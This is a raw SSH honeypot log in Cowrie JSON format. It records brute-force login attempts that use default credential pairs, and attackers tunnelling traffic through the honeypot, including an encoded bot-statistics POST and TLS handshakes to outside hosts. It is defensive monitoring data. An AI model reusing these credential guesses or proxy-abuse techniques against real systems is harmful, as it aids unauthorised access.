{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28980,"dst_ip":"159.203.135.109","dst_port":22,"session":"31a41dc5591e","protocol":"ssh","message":"New connection: 91.92.40.36:28980 (159.203.135.109:22) [session: 31a41dc5591e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:17.135932Z"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"admin","message":"login attempt [erpnext/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:17.293930Z","src_ip":"91.92.40.36","session":"07ace10bf653","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:17.765672Z","src_ip":"91.92.40.36","session":"31a41dc5591e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:17.771987Z","src_ip":"91.92.40.36","session":"31a41dc5591e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:19.954322Z","src_ip":"91.92.40.36","session":"07ace10bf653","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:21.753791Z","session":"1f592f6682a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:21.761455Z","session":"1f592f6682a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:21.821985Z","src_ip":"23.175.50.51","session":"1f592f6682a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D626q) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=MVV4dENVZD5Vcmk4TiEhdA%3D%3DkE1dmchVQg7eyue4F0KafgOvF8epo0WrEHle%2BpZ7KO3WrkZZhU%2B%2BeTzgUyJu9wvWAuMnOyH69dJlsZjJ%2BtY4hmODHlnJcwCHjY%2FbOP2SjZpFd4tfEm3KHnrEQyjMc%2BfjWuKMAv9gJkdDjIfRyH%2FNgMAEviD3npF73nv98aiEnEJ8rpnDzoXk6d%2FgMVszCIAvBwFTVhrg4LVSAoM%2BnD5rvdUgogkFlLrOzkyLmOLx%2FdxvXtdjEpOL8TRkbVxCPNf%2FkDOD08KUPftPJWrjJxTWQ%2FTWl7k8vddAUu79pNqQ0MVbfjztD2XvfulvPYMSKhw181mdNzvhT48YI4%2BKi3IdV1oCHFSkbKewVaPbFgRllhRgzhWF%2Fhegbv0hqDyn%2BcAoq0%2BU7XbPJ917IgNl2AItKCeHi%2FKNqQ%2BmHa5FyYDAv3SZq1ZTyO79%2BcQkAS0t6Ph5DR1Vo0gl6%2Fs3G%2BGBVwWc2%2BH5Jbqjyppp3p%2BeHxvTopO7TIt92H5aUH%2F%2FFewE3ED%2FcxpxYjT9PaqGsR3wXC917F1CVJjELsNIzNnTVjpXsHlt0UxHwfNdJVULG79pWvTeXFEoMHAq8aWihI8%2FeDYgnpzsmQPF5%2FfTjH%2FNoAIkQMMdvCLmLyWCMoTsmRi0O8gw%2FQ4CeOiGSFXMGmoTvUADhV0XSCSSrdSVZv%2FMjKeYAnlXvzM62niNhRTL91frJh40pVPjP%2FgnVxS83y%2BeLN1ov7y0bOivdtGX7JIdLAeJXpRUMG337Z6CFTedi7B8V1TF2VHUWibg5scgBAJBS3jHGIWAuO8TbvNpP5qW4L%2FCOfYKzb2rEbNmn4NWfdNY1N8UidjH3ZKAiI7LwOwfco%2FGvkEAPOoPqqbLkuFgSUtdcyf0xrFRHKpdVkogg05M8fHO7W2Bx4qUxFu5B8LaSTyQYocxL%2BxQxefNyoEkOcJ5C7kedlEB7mgtsOEDcQuCbjlJcEP6BOdo%2BiELAhUXGb1U9ftJ5ddudyXQCSevquhKBQ1MoELx1HXyE8OLZnqUB%2B9PoTY3w21krKMFTw1W3hoxZW0cjmnoa6Hdxqng6W0dwDtDo4fwplKv4WomK5ExNh3V'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D626q) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=MVV4dENVZD5Vcmk4TiEhdA%3D%3DkE1dmchVQg7eyue4F0KafgOvF8epo0WrEHle%2BpZ7KO3WrkZZhU%2B%2BeTzgUyJu9wvWAuMnOyH69dJlsZjJ%2BtY4hmODHlnJcwCHjY%2FbOP2SjZpFd4tfEm3KHnrEQyjMc%2BfjWuKMAv9gJkdDjIfRyH%2FNgMAEviD3npF73nv98aiEnEJ8rpnDzoXk6d%2FgMVszCIAvBwFTVhrg4LVSAoM%2BnD5rvdUgogkFlLrOzkyLmOLx%2FdxvXtdjEpOL8TRkbVxCPNf%2FkDOD08KUPftPJWrjJxTWQ%2FTWl7k8vddAUu79pNqQ0MVbfjztD2XvfulvPYMSKhw181mdNzvhT48YI4%2BKi3IdV1oCHFSkbKewVaPbFgRllhRgzhWF%2Fhegbv0hqDyn%2BcAoq0%2BU7XbPJ917IgNl2AItKCeHi%2FKNqQ%2BmHa5FyYDAv3SZq1ZTyO79%2BcQkAS0t6Ph5DR1Vo0gl6%2Fs3G%2BGBVwWc2%2BH5Jbqjyppp3p%2BeHxvTopO7TIt92H5aUH%2F%2FFewE3ED%2FcxpxYjT9PaqGsR3wXC917F1CVJjELsNIzNnTVjpXsHlt0UxHwfNdJVULG79pWvTeXFEoMHAq8aWihI8%2FeDYgnpzsmQPF5%2FfTjH%2FNoAIkQMMdvCLmLyWCMoTsmRi0O8gw%2FQ4CeOiGSFXMGmoTvUADhV0XSCSSrdSVZv%2FMjKeYAnlXvzM62niNhRTL91frJh40pVPjP%2FgnVxS83y%2BeLN1ov7y0bOivdtGX7JIdLAeJXpRUMG337Z6CFTedi7B8V1TF2VHUWibg5scgBAJBS3jHGIWAuO8TbvNpP5qW4L%2FCOfYKzb2rEbNmn4NWfdNY1N8UidjH3ZKAiI7LwOwfco%2FGvkEAPOoPqqbLkuFgSUtdcyf0xrFRHKpdVkogg05M8fHO7W2Bx4qUxFu5B8LaSTyQYocxL%2BxQxefNyoEkOcJ5C7kedlEB7mgtsOEDcQuCbjlJcEP6BOdo%2BiELAhUXGb1U9ftJ5ddudyXQCSevquhKBQ1MoELx1HXyE8OLZnqUB%2B9PoTY3w21krKMFTw1W3hoxZW0cjmnoa6Hdxqng6W0dwDtDo4fwplKv4WomK5ExNh3V'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:21.825576Z","src_ip":"23.175.50.51","session":"1f592f6682a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:21.831272Z","src_ip":"23.175.50.51","session":"1f592f6682a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\r\\xee\\xfc\\xfe\\xa92/K\\x97s\\xffE\\xd5\\x06\\xbd\\x13P\\xe5\\xce\\xaa\\r\\x96nd/0\\xf3F\\xd8q&\\xd3 \\xd8\\xab\\xd3\\t|\\x0bnD?|\\xeab\\xb4\\xd3\\xa1=\\xe7\\xfe.\\xa6\\x00eo\\xf1\\xaa\\xac\\x04#\\xef\\x8a\\x89L\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xce!\\xf4\\xf2p\\xc9Df\\xed\\xb0\\xd8\\x0fc\\x10P\\xdf\\xa8A\\xcaJk\\x8e\\xf2\\xa7\\x82\\xef\\xedn\\x8e\\x84Z\\x14\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\r\\xee\\xfc\\xfe\\xa92/K\\x97s\\xffE\\xd5\\x06\\xbd\\x13P\\xe5\\xce\\xaa\\r\\x96nd/0\\xf3F\\xd8q&\\xd3 \\xd8\\xab\\xd3\\t|\\x0bnD?|\\xeab\\xb4\\xd3\\xa1=\\xe7\\xfe.\\xa6\\x00eo\\xf1\\xaa\\xac\\x04#\\xef\\x8a\\x89L\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xce!\\xf4\\xf2p\\xc9Df\\xed\\xb0\\xd8\\x0fc\\x10P\\xdf\\xa8A\\xcaJk\\x8e\\xf2\\xa7\\x82\\xef\\xedn\\x8e\\x84Z\\x14\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:21.833924Z","src_ip":"23.175.50.51","session":"1f592f6682a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:21.911326Z","session":"1f592f6682a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:21.972121Z","src_ip":"23.175.50.51","session":"1f592f6682a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03y\\xe7\\x965\\x88_\\xaf\\xf8\\xbb\\r\\xd6\\x88\\x1e\\x8bU\\x15%h\\xff]j/\\xa7&\\xa9\\x81\\x04\\xe7&\\xf7\\x96\\xf4 l\\x99\\xc0\\xb5\"\\xae\\xd7\\xd1]\\xfam_\\xc5O\\x1e\\xdc\\xe6V\\x8e\\x19\\xaf\\x83\\x0e\\xf7\\xb9[Q\\xf7\\x86\\xc3;\\x05\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x18\\x86b\\xc6\\xcc\\xee\"H\\x1f\\x9fe\\xb6\\xfa\\xde\\xb4T\\xab0u\\xce\\xf2\\xb5~\\xaf\\xb3\\xfc`\\x8c\\xf5f\\x86j\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03y\\xe7\\x965\\x88_\\xaf\\xf8\\xbb\\r\\xd6\\x88\\x1e\\x8bU\\x15%h\\xff]j/\\xa7&\\xa9\\x81\\x04\\xe7&\\xf7\\x96\\xf4 l\\x99\\xc0\\xb5\"\\xae\\xd7\\xd1]\\xfam_\\xc5O\\x1e\\xdc\\xe6V\\x8e\\x19\\xaf\\x83\\x0e\\xf7\\xb9[Q\\xf7\\x86\\xc3;\\x05\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x18\\x86b\\xc6\\xcc\\xee\"H\\x1f\\x9fe\\xb6\\xfa\\xde\\xb4T\\xab0u\\xce\\xf2\\xb5~\\xaf\\xb3\\xfc`\\x8c\\xf5f\\x86j\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:21.977120Z","src_ip":"23.175.50.51","session":"1f592f6682a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"654321","message":"login attempt [es/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:22.138650Z","src_ip":"91.92.40.36","session":"31a41dc5591e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:23.292830Z","session":"8768c9b84afb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:23.343025Z","src_ip":"173.208.192.194","session":"8768c9b84afb","protocol":"ssh"}
